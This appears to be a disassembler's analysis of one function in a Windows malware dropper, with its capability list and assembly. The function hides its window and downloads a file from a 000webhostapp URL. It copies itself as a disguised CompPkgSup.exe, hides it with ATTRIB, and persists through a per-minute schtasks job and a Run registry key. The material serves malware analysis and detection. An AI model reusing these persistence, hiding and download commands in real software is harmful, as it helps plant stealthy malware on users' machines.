Function at 0x401220
Capabilities:
Copy file
Create directory
Create process on windows
Delete file
Download url
Execute command
Hide graphical window
Persist via run registry key
Receive data
Schedule task via schtasks
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x850
mov eax, dword [0x405014]
xor eax, esp
mov dword [esp + 0x84c], eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x20
push str.C:ProgramDataComponentPackages
lea ecx, [esp + 0x10]
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0xf
mov byte [esp + 0x10], 0
call fcn.00401b50
cmp dword [esp + 0x1c], 0x10
lea ecx, [esp + 0x20]
mov esi, dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
lea eax, [esp + 8]
cmovae eax, dword [esp + 8]
push ecx
push eax
call esi
mov edx, dword [esp + 0x24]
add esp, 8
test eax, eax
setne bl
cmp edx, 0x10
jb 0x4012cc
mov ecx, dword [esp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4012c2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4012c2
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00401f2e
add esp, 8
test bl, bl
je 0x401412
push 0
push 0
push str.C:ProgramData1.txt
push str.https:__rusqbxgs.000webhostapp.com_1.txt
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
push 0x14
push str.C:ProgramData1.txt
lea ecx, [esp + 0x10]
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0xf
mov byte [esp + 0x10], 0
call fcn.00401b50
cmp dword [esp + 0x1c], 0x10
lea ecx, [esp + 0x20]
lea eax, [esp + 8]
cmovae eax, dword [esp + 8]
push ecx
push eax
call esi
mov edx, dword [esp + 0x24]
add esp, 8
test eax, eax
setne bl
cmp edx, 0x10
jb 0x401365
mov ecx, dword [esp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40135b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40135b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00401f2e
add esp, 8
test bl, bl
je 0x401371
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.C:ProgramData1.txt
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 4
push str.C:ProgramDataComponentPackages
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
add esp, 4
lea eax, [esp + 0x50]
push 0x800
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 1
push str.C:ProgramDataComponentPackagesCompPkgSup.exe
lea eax, [esp + 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
push 0
push str._c_ATTRIB_h_s_C:ProgramDataComponentPackages
push 0x4032c0
push str.open
push 0
call esi
push 0
push 0
push str._c_ATTRIB_h_s_C:ProgramDataComponentPackagesCompPkgSup.exe
push 0x4032c0
push str.open
push 0
call esi
push str.schtasks.exe__create__sc_MINUTE__mo_1__tn__PackagesSupport___tr__C:ProgramDataComponentPackagesCompPkgSup.exe___f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
push 0
push 0
push str._c_reg_add_HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun__v__PackagesSupport___d__C:ProgramDataComponentPackagesCompPkgSup.exe___f
push 0x4032c0
push str.open
push 0
call esi
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [esp + 0x854]
pop esi
pop ebx
xor ecx, esp
call fcn.00401eed
mov esp, ebp
pop ebp
ret